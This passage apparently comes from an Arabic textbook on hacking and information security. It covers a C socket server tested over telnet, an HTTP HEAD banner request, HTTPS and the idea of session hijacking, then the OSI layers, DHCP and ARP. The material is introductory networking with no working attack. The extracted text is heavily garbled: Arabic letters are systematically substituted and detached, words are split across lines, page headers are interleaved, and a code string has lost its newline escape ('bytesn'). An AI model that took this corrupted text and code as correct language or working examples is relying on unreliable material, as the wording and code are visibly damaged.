‫بال‬ ‫طاص‬
flags
‫عنا‬ َ
‫ض‬َ‫و‬ ‫وكالعادة‬
‫به‬
(0)
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[146]
‫تق‬
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬ ‫وم‬
function
‫بإرجاع‬
return
‫انتهائها‬ َ‫عد‬َ‫ب‬ ‫نا‬َ‫ل‬
،
‫وذو‬
recv_length
،
‫ونوعه‬
integer
.
recv_length = recv(new_sockfd, &buffer, 1024, 0);
‫ال‬ ‫دور‬ ‫يأيت‬ ‫م‬ُ‫ث‬
Loop
:
‫ال‬ ‫ذا‬َ‫ذ‬ ‫ل‬‫داط‬‫ب‬ ‫ما‬ ‫ة‬َ‫باع‬‫ط‬‫ب‬ ‫َقوم‬‫ن‬ َ
‫س‬
recv_length
‫ال‬ ‫د‬َ‫عَد‬ ‫وذو‬
bytes
َ‫م‬َ‫ل‬َ‫ت‬‫س‬ُ‫مل‬‫ا‬
‫ة‬
.
while(recv_length > 0) {
printf("RECV: %d bytesn", recv_length);
‫ال‬ ‫ور‬َ‫د‬ ‫يأيت‬ ‫تام‬‫اخل‬ ‫ويف‬
dump( )
ً‫ا‬‫سبق‬ُ‫م‬ ‫رشحناذا‬ ‫التي‬
..
‫ال‬ ‫ذذه‬ ‫قتستقبل‬
Arguments
:
dump(buffer, recv_length)
‫ال‬ ‫ض‬‫ر‬َ‫ع‬ ‫هلا‬ ‫يتسنى‬ ‫كي‬
data
‫ال‬ ‫ة‬َ‫غ‬‫ي‬‫ص‬‫ب‬
Hex
‫وال‬ ،‫سار‬َ‫ي‬‫ال‬ ‫عىل‬
printable data
‫ا‬ ‫عىل‬
.‫مني‬َ‫ي‬‫ل‬
while(recv_length > 0) {
printf("RECV: %d bytesn", recv_length);
dump(buffer, recv_length);
recv_length = recv(new_sockfd, &buffer, 1024, 0);
}
close(new_sockfd);
}
return 0;
}
‫واآلن‬ ،‫الكود‬ ‫ذذا‬ ‫رشح‬ ‫هناية‬ ‫لىل‬ ‫وصلنا‬ ‫لقد‬
‫س‬
‫التجربة‬ ‫دور‬ ‫يأيت‬
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[147]
‫الكود‬ ‫ذذا‬ ‫ب‬ ِّ‫ر‬َ‫ُج‬‫ن‬‫ل‬
..
root@server:~/booksrc $ gcc server.c
root@server:~/booksrc $ ./a.out
‫س‬
‫ال‬ ‫ذا‬‫ِب‬ ‫آطر‬ ‫جهاز‬ ‫ن‬‫م‬ ‫اإلتصال‬ ‫ة‬َ‫ب‬‫َجر‬‫ت‬‫ب‬ ‫نقوم‬
server
،
‫ال‬ ‫نستخدم‬
telnet
‫ال‬ ‫من‬ ‫لالتصال‬
client
.
َ
‫ح‬َ‫َج‬‫ن‬ ..‫ُشاذد‬‫ن‬ ‫كام‬
‫بإرس‬ ‫السريقر‬ َ‫م‬‫وقا‬ ،!‫االتصال‬
‫ال‬
string
..
‫ذي‬
“Hello, server”
،
‫ال‬ ،‫نحن‬ ‫دورنا‬ َ‫ء‬‫جا‬ ‫م‬ُ‫ث‬
client
،
‫عبارة‬ ‫له‬ ‫قأرسلنا‬
“this is test”
،
‫ال‬ ‫يف‬ ‫ُج‬‫ت‬‫ن‬َ‫ي‬ َ
‫س‬ ‫ما‬ ‫ى‬ َ‫َر‬‫ن‬‫ل‬ ‫شوائية‬َ‫ع‬ ‫ف‬ ُ‫أحر‬ ‫كتبنا‬ ‫م‬ُ‫ث‬
dump( )
.
root@client:~ $ telnet 192.168.18.128 6900
Trying 192.168.18.128...
Connected to 192.168.18.128.
Escape character is '^]'.
Hello, server
this is a test
fjsghau;ehg;ihskjfhasdkfjhaskjvhfdkjhvbkjgf
‫ال‬ ‫ف‬ َ‫ر‬َ‫ط‬ ‫يف‬ ‫ث‬ُ‫د‬ َ
‫حي‬ ‫ما‬ ً‫ا‬‫ع‬َ‫م‬ ‫د‬‫ُشاذ‬‫ن‬ ‫ذيا‬
Server
:
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[148]
root@server:~/booksrc $ ./a.out
server: got connection from 192.168.18.131 port 56971
RECV: 16 bytes
74 68 69 73 20 69 73 20 61 20 74 65 73 74 0d 0a | This is a test...
RECV: 45 bytes
66 6a 73 67 68 61 75 3b 65 68 67 3b 69 68 73 6b | fjsghau;ehg;ihsk
6a 66 68 61 73 64 6b 66 6a 68 61 73 6b 6a 76 68 | jfhasdkfjhaskjvh
66 64 6b 6a 68 76 62 6b 6a 67 66 0d 0a | fdkjhvbkjgf...
َ‫و‬ ‫د‬َ‫ق‬ ‫َكون‬‫ن‬ ‫نا‬ُ‫ذ‬ ‫لىل‬
‫ثال‬‫امل‬ ‫ذا‬َ‫ذ‬ ‫ة‬َ‫ي‬‫ا‬‫هن‬ ‫لىل‬ ‫لنا‬ َ
‫ص‬
.
‫عن‬ ‫للحديث‬ ‫سننتقل‬
‫بعض‬
‫ا‬ ‫املفاذيم‬
‫ملتعلق‬
‫ة‬
‫بال‬
“OSI Layers”
.
The Browser
‫متصفح‬ ‫أي‬ ‫باستخدام‬ ‫اإلنرتنت‬ ‫ح‬ُّ‫ف‬‫َص‬‫ت‬‫ب‬ ‫نقوم‬ ‫عندما‬
(browser)
‫ال‬ ‫باستثناء‬
“Internet Explorer”

..
‫يعني‬ ‫ذا‬َ‫ه‬َ‫ق‬
‫ال‬ ‫أعىل‬ ‫يف‬ ‫نقع‬ ‫أننا‬
OSI Layers
‫ال‬ ‫وذي‬
Application Layer
،
‫كال‬ ‫بروتوكول‬ ‫مع‬ ‫نتعامل‬ ُ
‫حيث‬
HTTP
،
‫ال‬ ‫بني‬ ‫التواصل‬ ‫عملية‬ ‫يف‬ ‫املستخدمة‬ ‫الربوتوكوالت‬ ‫من‬ ‫وذو‬
browser
‫ال‬ ‫و‬
web servers
،‫املختلفة‬
‫بعمل‬ ‫يقوم‬ ‫قهو‬
request
‫ال‬ ‫من‬ ‫أنت‬ ‫تريدذا‬ ‫التي‬ ‫للصفحة‬
web server
،
‫ال‬ ‫ينتظر‬ ‫دوره‬‫ب‬ ‫الذي‬
connections
‫من‬
‫ال‬
browsers
‫وذي‬
‫ال‬
(Clients)
‫ال‬ ‫عىل‬
port 80
.
‫عند‬ ً‫ال‬‫قلي‬ ‫سنتوقف‬
‫ال‬
Ports
..
‫ال‬ ‫قيكون‬ ‫ح‬ِّ‫ف‬‫تص‬ُ‫مل‬‫ا‬ ‫باستخدام‬ ُ‫نحن‬ ‫نتصل‬ ‫ندما‬‫ع‬
port
‫نا‬‫ب‬ ‫اخلاص‬
“Local Port”
‫ل‬‫م‬ َ
‫حي‬
‫من‬ ‫أعىل‬ ‫عشوائي‬ ‫رقم‬
1023
،
‫ال‬ ‫وينتظر‬
Server
‫ال‬
Connection
‫ال‬ ‫عىل‬ ‫ا‬‫ن‬‫م‬
Port
‫ورقمه‬ ..‫ذو‬ ‫به‬ ‫اخلاص‬
(80)
.
‫ُسميه‬‫ن‬
“Remote Port”
.‫لنا‬ ‫بالنسبة‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[149]
‫ال‬ ُ‫نحن‬ ‫ا‬‫كن‬ ‫ولذا‬
Server
‫ال‬ ‫سيكون‬ ..
“Local Port”
‫ذو‬
(80)
‫ال‬ ‫ويكون‬
“Remote Port”
‫ذو‬
1024
.
‫ال‬ ‫ذذا‬..‫املهم‬
request
‫ى‬‫سم‬ُ‫ي‬ ‫أمر‬‫ب‬ ‫ث‬ُ‫د‬ َ
‫حي‬
Get
‫بال‬ ‫م‬ُ‫ث‬ ،‫الصفحة‬‫ب‬ ‫اخلاص‬ ‫سار‬َ‫مل‬‫ا‬‫ب‬ ‫تبوع‬َ‫م‬
protocol version
‫اخلاص‬
‫بال‬
HTTP
َ‫ي‬ ‫م‬ُ‫ث‬ .
‫ال‬ ‫قوم‬
server
‫ل‬َ‫م‬َ‫ع‬‫ب‬
respond
‫بال‬ ‫لك‬
content
‫ال‬ ‫عض‬َ‫ب‬ ‫قها‬‫سب‬َ‫ي‬ ،‫ُريد‬‫ت‬ ‫التي‬
Headers
،
‫عن‬ ‫ارة‬َ‫ب‬‫ع‬
‫اخلاص‬ ‫علومات‬َ‫مل‬‫ا‬ ‫بعض‬
‫ة‬
‫بال‬
Server
.. .
‫تأمل‬
:‫ثال‬‫امل‬ ‫ذا‬َ‫ذ‬ ‫معي‬
‫األمر‬ ‫باستخدام‬ ‫منا‬ُ‫ق‬
Head
‫ن‬‫م‬ ً‫ال‬َ‫د‬َ‫ب‬
Get
‫ال‬ ‫من‬ ‫ققط‬ ‫ُريد‬‫ن‬ ‫ألننا‬
Server
‫ال‬ ‫نا‬َ‫ل‬ ‫ل‬‫رس‬ُ‫ي‬ ‫أن‬
Headers
‫اخل‬
‫ُريد‬‫ن‬ ‫ال‬ ..‫ه‬‫ب‬ ‫اصة‬
‫الصفح‬ ‫حتميل‬
‫ة‬
.!‫اآلن‬
reader@hacking:~/booksrc $ telnet www.internic.net 80
Trying 208.77.188.101...
Connected to www.internic.net.
Escape character is '^]'.
HEAD / HTTP/1.0
HTTP/1.1 200 OK
Date: Fri, 14 Sep 2007 05:34:14 GMT
Server: Apache/2.0.52 (CentOS)
Accept-Ranges: bytes
Content-Length: 6743
Connection: close
Content-Type: text/html; charset=UTF-8
Connection closed by foreign host.
reader@hacking:~/booksrc $
‫كام‬
‫ن‬
‫املوقع‬ ‫ذذا‬ ‫أن‬ ‫ربنا‬ ُ
‫خي‬ ‫قهو‬ ‫رى‬
“hosted on web server called Apache”
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[150]
‫ذو‬ ‫التشغيل‬ ‫نظام‬ ‫ونوع‬
CentOS
،
‫توزيعات‬ ‫من‬ ‫توزيعة‬ ‫وذي‬
Linux
.
‫ال‬ ‫ذذا‬
(
HTTP
)
‫ال‬ ‫يف‬ ‫م‬َ‫ستخد‬ُ‫ي‬ ‫ال‬
sessions
‫ال‬ ‫مثل‬
Logins
‫ال‬ ‫أو‬
E-payment
،
‫أي‬ ‫أو‬
session
‫همة‬ُ‫م‬
،
‫بل‬
ُ‫ي‬
َ‫ت‬‫س‬
َ‫خد‬
‫م‬
‫ال‬
(
HTTPS
)
،!‫لذلك‬
‫ويعني‬
“HTTP over SSL or over TLS”
،
‫أو‬
“HTTP Secure”
،
‫ذذ‬ ‫يف‬ ‫أننا‬ ‫نا‬ُ‫ذ‬ ‫الفرق‬
‫ا‬
‫ال‬ ‫من‬ ‫النوع‬
sessions
‫املار‬ ‫البيانات‬ ‫بتشفري‬ ‫سنقوم‬
‫ة‬
‫ال‬ ‫بني‬
browser
‫ال‬ ‫و‬
Web Server
‫ال‬ ‫أو‬
Mail Server
‫عىل‬
‫ال‬ ‫بروتوكول‬ ‫باستخدام‬ ،‫املثال‬ ‫سبيل‬
SSL
‫ال‬ ‫أو‬
TLS
.
‫يف‬ ‫سنتعرض‬
‫الرابع‬ ‫الباب‬
‫ال‬ ‫لربوتوكول‬
SSL
‫من‬ ‫بمزيد‬
.‫التفصيل‬
‫ال‬ ‫بتفعيل‬ ‫املواقع‬ ‫بعض‬ ‫تقوم‬
HTTPS
‫أول‬ ‫يف‬
Session
‫ال‬ ‫وذي‬
Login
،
‫بال‬ ‫لتتعامل‬ ‫تعود‬ ‫ثم‬
HTTP
‫أطرى‬ ً‫ة‬‫مر‬
‫ال‬ ‫أن‬ ‫باعتبار‬
Sessions
‫الت‬
‫تليها‬ ‫ي‬
‫ال‬ ‫بقدر‬ ‫أمهية‬ ‫ذات‬ ‫ليست‬
Login
،
‫ال‬ ‫حتت‬ ‫ج‬‫ر‬َ‫ند‬ُ‫مل‬‫ا‬ ‫اهلجامت‬ ‫من‬ ‫نوع‬ ‫قانترش‬
Session Hijacking
‫ال‬ ‫ن‬‫م‬ ‫لتنتهي‬ ‫دذم‬ َ‫أح‬ ‫ك‬ ُ‫ر‬‫َظ‬‫ت‬‫ن‬َ‫ي‬ ‫أن‬‫ب‬
Secured Login
‫ال‬ ‫عىل‬ ‫ز‬‫قف‬َ‫ي‬‫ل‬ ‫يأيت‬ ‫م‬ُ‫ث‬
Sessions
‫تليها‬ ‫التي‬
‫ال‬ ‫بروتوكول‬ ‫حينها‬ ‫ل‬َ‫م‬‫َعا‬‫ت‬َ‫ي‬ ُ
‫يث‬ َ‫ح‬
HTTP
‫عملية‬ ‫قسينتظر‬ ‫نتدى‬ُ‫م‬ ‫يف‬ ‫الدطول‬ ‫ل‬ِّ‫ُسج‬‫ت‬ ‫كنت‬ ‫لذا‬ ً‫ال‬‫قمث‬ ،!‫ن‬‫آم‬ ‫الغري‬
‫ال‬ ‫ل‬َ‫م‬َ‫ع‬‫ب‬ ‫قوم‬َ‫ي‬ ‫م‬ُ‫ث‬ ،‫الدطول‬ ‫تسجيل‬
"
Session Riding
"
‫بال‬ ‫ل‬ُ‫م‬‫َعا‬‫ت‬‫ال‬ ‫حينها‬ ُ‫ه‬ُ‫ن‬‫مك‬ُ‫ي‬‫و‬
Account
.‫بك‬ ‫اخلاص‬
‫تقوم‬
Google
‫ثال‬‫امل‬ ‫سبيل‬ ‫عىل‬
‫بتفعيل‬
HTTPS
‫ا‬‫طدماهت‬ ‫مجيع‬ ‫عىل‬
‫وحتى‬ ‫للدطول‬ ‫بتسجيلك‬ ً‫ا‬‫بدء‬
‫تسجيل‬
‫طروجك‬
.
‫ال‬ ‫يوجد‬
‫عديد‬
‫ن‬‫م‬
‫املصادر‬
َ‫ع‬‫الواق‬ ‫امت‬َ‫ج‬َ‫اهل‬ ‫ن‬‫م‬ ‫امية‬‫احل‬ ‫وأساليب‬ ‫حات‬ِّ‫ف‬‫َص‬‫ت‬ُ‫مل‬‫با‬ ‫قة‬ِّ‫ل‬‫تع‬ُ‫مل‬‫ا‬ ‫األمور‬ ‫ل‬َ‫تتناو‬ ‫التي‬
‫ة‬
‫ال‬ ‫ثل‬‫م‬ ‫عليها‬
XSS
..‫وغريذا‬
‫ذجامت‬ ‫ألنواع‬ ‫بالتعرض‬ ‫قمنا‬
‫ال‬
XSS
‫التف‬ ‫من‬ ‫بيشء‬
‫يف‬ ‫صيل‬
‫ال‬
Appendix
‫املوجود‬
‫ة‬
‫الكتاب‬ ‫آطر‬ ‫يف‬
‫يمكنك‬ ،
.‫مراجعتها‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[151]
The Big Picture
‫أي‬ ‫من‬ ‫اآلن‬ ‫منزل‬ ‫أي‬ ‫خيلو‬ ‫ال‬
device
‫يف‬ ‫وبدهيي‬ ‫أسايس‬ ‫يشء‬ ‫أصبح‬ ‫قاالنرتنت‬ ،!‫اإلنرتنت‬ ‫دطول‬ ‫من‬ ‫لصاحبه‬ ‫ِّن‬‫ك‬َ‫م‬ُ‫ي‬
‫م‬َ َ
‫حرت‬ُ‫مل‬‫ا‬ ‫د‬ِّ‫ي‬‫للس‬ ‫َن‬‫ت‬ ُ
‫ُم‬ ‫غري‬ ‫ّا‬‫ن‬‫م‬ ‫ن‬َ‫م‬َ‫ق‬ ،‫حياتنا‬
“Google”
،‫!؟‬
‫ق‬
‫د‬َ‫ق‬
َ
‫دث‬‫ح‬َ‫أ‬
‫حياتنا‬ ‫يف‬ ‫ة‬ َ‫فر‬َ‫ط‬ ‫نا‬َ‫ل‬
.!
‫ب‬ ‫َم‬‫ت‬‫َه‬‫ن‬ َ
‫س‬ ‫أننا‬ ‫وبام‬
‫عن‬ ‫احلديث‬
‫كات‬َ‫ب‬ ّ
‫ش‬
‫احلاسب‬
‫قسنقوم‬ ،
‫بإجراء‬
‫ال‬ ‫داطل‬ ‫ري‬ َ
‫جي‬ ‫ا‬‫مل‬ ‫يعة‬ َ
‫ِس‬ ‫راجعة‬ُ‫م‬
.OSI Layers
‫ال‬ ‫باستخدام‬ ‫االنرتنت‬ ‫ح‬ُّ‫ف‬‫بتص‬ ‫تقوم‬ ‫أنك‬ ‫نفرض‬‫ل‬
browser
،
‫ال‬ ‫مع‬ ‫تتعامل‬ ‫اآلن‬ ‫أنت‬
Layer 7
‫ال‬ ‫وذي‬
App Layer
،
‫اإللكرت‬ ‫بريدك‬ ‫تتفقد‬ ‫ربام‬
‫ال‬ ‫بروتوكول‬ ‫حينها‬ ‫قتستخدم‬ ،‫وين‬
SMTP
‫ال‬ ‫مع‬
POP3
‫ال‬ ‫داطل‬ ‫تتجول‬ ‫بام‬ُ‫ر‬ ‫أو‬ ،ً‫ا‬‫مع‬
Google+
‫ال‬ ‫بروتوكول‬ ‫باستخدام‬ ‫اآلمن‬ ‫بالتصفح‬ ‫تستمتع‬ ‫حينها‬ ‫قتكون‬ ،‫الشخيص‬ ‫بحسابك‬
HTTPS
،
‫تقوم‬ ‫ربام‬ ‫أو‬
‫بعمل‬
Upload
‫ال‬ ‫بروتوكول‬ ‫تستخدم‬ ‫حينها‬ ‫قتكون‬ ‫املواقع‬ ‫ألحد‬ ‫امللفات‬ ‫لبعض‬
FTP
.‫الخ‬... ،
‫قتح‬ ‫من‬ ‫البد‬ ‫حتدث‬ ‫كي‬ ‫األمور‬ ‫ذذه‬
Sockets
‫ال‬ ‫مع‬
end points
‫ال‬ ‫يف‬ ‫ذلك‬ ‫يتم‬ ،
Session Layer
‫املسؤول‬ ‫قهي‬
‫ة‬
‫عن‬
‫ال‬ ‫توقري‬
interface
‫ال‬ ‫ذا‬َ‫رب‬َ‫ع‬ ‫ل‬‫َقب‬‫ت‬‫َس‬‫ن‬ ‫أو‬ ‫ل‬‫ُرس‬‫ن‬ َ
‫س‬ ‫التي‬
data
.
‫ال‬ ‫ه‬‫ذ‬َ‫ذ‬
interface
‫ال‬ ‫أو‬
Socket
َ
‫س‬
‫ت‬
‫ن‬َ‫أ‬ ‫حتاج‬
‫ت‬
‫عىل‬ ‫د‬‫َم‬‫ت‬‫ع‬
‫ال‬ ‫َوصيل‬‫ت‬‫ل‬ ‫بروتوكول‬
data
‫ذذه‬
‫أليس‬ ،
‫كذلك؟‬
‫لما‬ ‫سيكون‬ ‫الربوتوكول‬ ‫ذذا‬
TCP
‫أو‬
UDP
،
‫ال‬ ‫يف‬ ‫ع‬َ‫ق‬َ‫ي‬ ‫م‬ُ‫الذ‬‫وك‬
Transport Layer
‫َيل‬‫ت‬ ‫التي‬ ‫ة‬َ‫ق‬َ‫ب‬َ‫ط‬‫ال‬ ‫لهنا‬ ،
‫ال‬
Session Layer
..
‫ال‬ ‫ذذا‬ ‫ل‬‫م‬‫ك‬ُ‫ي‬ ‫لكي‬ ‫ولكن‬
TCP
‫ال‬ ‫ليصال‬ ‫قسيحتاج‬ ،ُ‫ه‬‫ل‬َ‫م‬َ‫ع‬
Data
‫ال‬ ‫لىل‬
Destination
‫عىل‬ ‫بذلك‬ ً‫ا‬‫د‬‫عتم‬ُ‫م‬ ،
‫ال‬
Layer 3
‫ال‬ ‫وذي‬ ،
Network Layer
.
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[152]
‫ال‬ ‫ذذه‬ ‫أن‬ ‫ض‬‫َفر‬‫ن‬‫ل‬ ‫واآلن‬
“Destination End Point”
‫بار‬‫ع‬
‫ة‬
‫عن‬
‫جهاز‬
‫يف‬ ‫يقع‬
،‫حملية‬ ‫شبكة‬
LAN (Local Area Network)
،
‫ِبا‬ ‫سيكون‬ ‫بالطبع‬
router
‫ك‬ ‫ل‬َ‫عم‬َ‫ي‬
Gateway
‫و‬ ،
Switch
‫يربط‬
‫األجهز‬
‫ة‬
،‫بالشبكة‬
..‫جيد‬
ُ‫ن‬
‫ود‬
‫ال‬ ‫ذذه‬ ‫ليصال‬
packet
‫هلذا‬
‫ا‬
‫جلهاز‬
!
‫وذو‬ ،
‫متصل‬
‫بال‬
Switch
‫ع‬
‫ال‬ ‫طريق‬ ‫ن‬
network cable
.
..ً‫ا‬‫حسن‬
‫ل‬‫َص‬‫ت‬ ‫عندما‬
‫ال‬
packet
‫ال‬ ‫لىل‬
router
‫ال‬ ‫لىل‬ ‫وتذذب‬
switch
‫ال‬ ‫مة‬‫ه‬ُ‫م‬ ‫حينها‬ ‫ستنتهي‬
Layer 3
،
‫ال‬ ‫مة‬‫ه‬ُ‫م‬ ‫وتبدأ‬
Layer 2
‫ال‬ ‫وذي‬
Data-Link Layer
،
‫ال‬ ‫بإيصال‬ ‫الطبقة‬ ‫ذذه‬ ‫ستقوم‬
“frame”
‫اجل‬ ‫ذذا‬ ‫لىل‬
‫هاز‬
‫ال‬ ‫باستخدام‬
Link
Layer Protocols
،
‫و‬
‫ينقل‬
‫ال‬
cable
‫ال‬ ‫ذذا‬
frame
‫ذيئة‬ ‫عىل‬
bits and bytes
ُ‫ه‬‫ألن‬
ُ‫ي‬
ِّ‫ث‬‫م‬
‫ال‬ ‫ل‬
(Physical Layer)
Layer 1
،
‫بال‬ ‫ى‬‫سم‬ُ‫ي‬ ‫ما‬ ‫ذذا‬
“Service Block”
‫لتكتمل‬ ‫األطرى‬ ‫عىل‬ ‫طبقة‬ ‫كل‬ ‫اعتامدية‬ ‫وذو‬ ،ً‫ا‬‫سابق‬ ‫ُك‬‫ت‬‫أطرب‬ ‫كام‬
‫ال‬ ‫عملية‬
Communications
.‫األنظمة‬ ‫بني‬
‫عىل‬ ً‫ال‬‫قلي‬ ‫الضوء‬ ‫بتسليط‬ ‫سنقوم‬
‫من‬ ‫كل‬
(
Layer 2, 3, and 4
)
.‫القادمة‬ ‫املرحلة‬ ‫يف‬ ‫ألمهيتهم‬
‫معرق‬ ‫لديك‬ ‫كانت‬ ‫لذا‬
‫ة‬
‫ال‬
‫بال‬ ‫ِبا‬ ‫بأس‬
OSI Model
‫نك‬‫مك‬ُ‫ي‬‫ق‬
‫القادمة‬ ‫ققرات‬ ‫الثالث‬ ‫جتاوز‬
.
Layer 2 (Data-Link)
‫ال‬ ‫ذذه‬ ‫عن‬ ‫تكلمنا‬ ‫قد‬ ‫ُنا‬‫ك‬
Layer
‫الفصل‬ ‫ذذا‬ ‫بداية‬ ‫يف‬
‫بينام‬
‫ال‬ ‫ُوضح‬‫ن‬ ‫ا‬‫ُن‬‫ك‬
OSI Model
،
‫ذ‬ ُ
‫سنأط‬ ‫واآلن‬
‫من‬ ‫بيشء‬ ‫ذا‬
‫ال‬ ‫برتوكول‬ ‫بأن‬ ً‫ا‬‫سابق‬ ‫أرشنا‬ ‫كام‬ .‫التفصيل‬
Ethernet
‫وظيفته؟‬ ‫ذي‬ ‫قام‬ ،‫الطبقة‬ ‫ذذه‬ ‫يف‬ ‫يتواجد‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[153]
‫يمتلك‬ ‫أن‬ ‫قالبد‬ ‫الشبكة‬ ‫لىل‬ ‫يدطل‬ ‫أن‬ ‫يريد‬ ‫جهاز‬ ‫ألي‬
NIC
،‫الشبكة‬ ‫كارت‬ ‫وذو‬
‫ال‬ ‫ذذا‬
device
‫عليه‬ ‫يطلق‬ ،‫آطر‬ ‫عنوان‬ ‫أي‬ ‫مع‬ ‫يتشابه‬ ‫ال‬ ،‫به‬ ‫طاص‬ ‫عنوان‬ ‫سيمتلك‬ ‫حينها‬
Physical Address
‫ال‬ ‫أو‬
MAC (Media Access Control)
،
‫ال‬ ‫ذذا‬ ‫يتكون‬
address
‫من‬
6 bytes
‫ال‬ ‫بصيغة‬ ‫يظهر‬
Hex
.
‫ييل‬ ‫كام‬
:
xx:xx:xx:xx:xx:xx
‫تقوم‬
‫ال‬
Data-Link Layer
‫ب‬
‫توصيل‬
‫ال‬
frames
‫آطر‬ ‫لىل‬ ‫جهاز‬ ‫من‬
‫ال‬ ‫نفس‬ ‫داطل‬
Broadcast Domain
.
‫أحد‬ ‫أراد‬ ‫لن‬ ‫ماذا‬ ‫ولكن‬
‫األجهز‬
‫ة‬
‫داطل‬
‫الشبك‬
‫ة‬
‫لرس‬
‫ال‬
packet
‫الشبك‬ ‫طارج‬ ‫يقع‬ ‫جهاز‬ ‫لىل‬
‫ة‬
‫؟‬
‫البداي‬ ‫يف‬ ‫دعني‬
‫ة‬
‫املتعلق‬ ‫األساسيات‬ ‫بعض‬ ‫عن‬ ‫معك‬ ‫أحتدث‬
‫ة‬
‫الشبك‬ ‫يف‬ ‫ما‬ ٍ‫جهاز‬ ‫حصول‬ ‫بكيفية‬
‫ة‬
‫ال‬ ‫عىل‬
IP
‫به‬ ‫اخلاص‬
‫ال‬ ‫طريق‬ ‫عن‬
DHCP Server
‫ال‬ ‫بروتوكول‬ ‫ووظيفة‬
ARP
‫العملي‬ ‫ذذه‬ ‫يف‬
‫ة‬
.
‫بالشبك‬ ‫جهاز‬ ‫بتوصيل‬ ‫سنقوم‬
‫ة‬
ُ
‫حيث‬
‫ِبا‬ ‫يوجد‬
DHCP Server
..
‫ال‬ ‫اجلهاز‬ ‫ذذا‬ ‫سيتلقى‬ ‫كيف‬ ‫لنشاذد‬
IP
.‫به‬ ‫اخلاص‬
‫ق‬
‫يمتلك‬ ‫ال‬ ‫اجلهاز‬ ‫هذا‬
IP
!‫بعد‬
،
‫يمتلك‬ ‫ققط‬ ‫ذو‬
MAC
..
‫ق‬
‫سيحدث‬
:‫التايل‬ ‫الشكل‬ ‫يف‬ ‫ملا‬ ‫مشابه‬ ‫سيناريو‬
Optaining an address
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[154]
‫يقوم‬
‫اجلهاز‬
‫بإرسال‬
Broadcast
‫الشبك‬ ‫داطل‬
‫ة‬
‫ال‬ ‫يكون‬ ‫حيث‬
Source port: 68
Destination port: 67

‫وملا‬
‫ال‬ ‫ذذا‬ ‫ذا‬
Port 67
‫؟‬
‫ال‬ ‫ألن‬
DHCP Server
‫يستقبل‬
‫ال‬
connections
‫عل‬
.!‫يه‬
‫ال‬ ‫قيقوم‬
DHCP
‫ال‬ ‫بإرسال‬
IP
‫املقرتح‬
.‫اجلهاز‬ ‫هلذا‬

‫ال‬ ‫استالم‬ ‫بعد‬ ‫وماذا‬
IP
‫من‬
‫ال‬
Server
‫؟‬
‫ال‬ ‫اجلهاز‬ ‫يستلم‬ ‫أن‬ ‫بعد‬
IP
‫اجلديد‬
‫ال‬ ‫من‬
DHCP
‫عىل‬ ‫يستخدمه‬ ‫قلن‬
‫أنه‬ ‫من‬ ً‫ال‬‫أو‬ ‫بالتأكد‬ ‫سيقوم‬ ،!‫الفور‬
‫ع‬ُ‫م‬ ‫غري‬
‫ج‬ ‫ألي‬ ‫طى‬
‫عىل‬ ‫آطر‬ ‫هاز‬
،‫الشبكة‬
‫اجلهاز‬ ‫ذذا‬ ‫ل‬‫س‬ ُ
‫سري‬ ‫حينها‬
Packet
(Gratuitous ARP)
‫يف‬ ‫لألجهزة‬
‫اإل‬‫القرصنة‬
‫لكتروني‬
‫ة‬
‫المعلومات‬‫وأمن‬
Understanding Hacking and Information Security
Networking
[155]
‫ال‬ ‫ذذا‬ ‫استخدام‬ ‫يريد‬ ‫بأنه‬ ‫الشبكة‬
IP
،
‫ال‬ ‫ذذا‬ ‫يمتلك‬ ‫األجهزة‬ ‫أحد‬ ‫كان‬ ‫قإن‬
IP
‫بالفعل‬
!
‫ق‬
‫بإرسال‬ ‫سيقوم‬
"already in use" ARP packet
،
‫ال‬ ‫بمحادثة‬ ‫اجلهاز‬ ‫ذذا‬ ‫سيقوم‬ ‫حينها‬
DHCP Server
‫منه‬ ‫ليطلب‬ ‫أطرى‬ ً‫ة‬‫مر‬
IP
.‫األمر‬ ‫ت‬ُ‫ب‬‫يث‬ ‫حتى‬ ‫وذكذا‬ ،‫ُمتلف‬
‫ال‬ ‫الشكل‬ ‫يف‬ ‫يظهر‬
ARP Packet
‫الشبكة‬ ‫لىل‬ ‫اجلهاز‬ ‫رسلها‬ُ‫ي‬
‫من‬ ‫يتأكد‬‫ل‬
‫ال‬ ‫سالمة‬
IP
.‫اجلديد‬
ARP Messages
‫نوعني‬ ‫عن‬ ‫سنتكلم‬ ..‫واآلن‬
‫ال‬ ‫من‬
ARP messages
‫وذ‬
:‫م‬
“ARP request and reply”
‫ال‬ ‫ذذا‬
ARP request or reply
‫ال‬ ‫بقية‬ ‫مثل‬ ‫مثله‬ ‫الشبكة‬ ‫يف‬ ‫يسري‬
frames
.
‫ال‬ ‫بقية‬ ‫عن‬ ُ‫ه‬‫ف‬‫ُصن‬‫ن‬ ‫أن‬ ‫لنا‬ ‫قكيف‬
frames
‫األطرى؟‬
.
..‫نعم‬
‫ال‬ ‫يف‬ ‫يقع‬
Header
‫ال‬ ‫هلذا‬
frame
‫ال‬ ‫أو‬
Ethernet
‫ال‬ ‫ذذا‬ ‫نوع‬ ‫عن‬ ‫تعرب‬ ‫طانة‬
Ethernet
‫كان‬ ‫لذا‬ ‫ما‬
ARP-type
‫أو‬
IP-packet
.
‫سنأيت‬
‫لليه‬
‫التفصيل‬ ‫من‬ ‫بمزيد‬
‫الثا‬ ‫الباب‬ ‫يف‬ ً‫ا‬‫الحق‬
‫لث‬
.
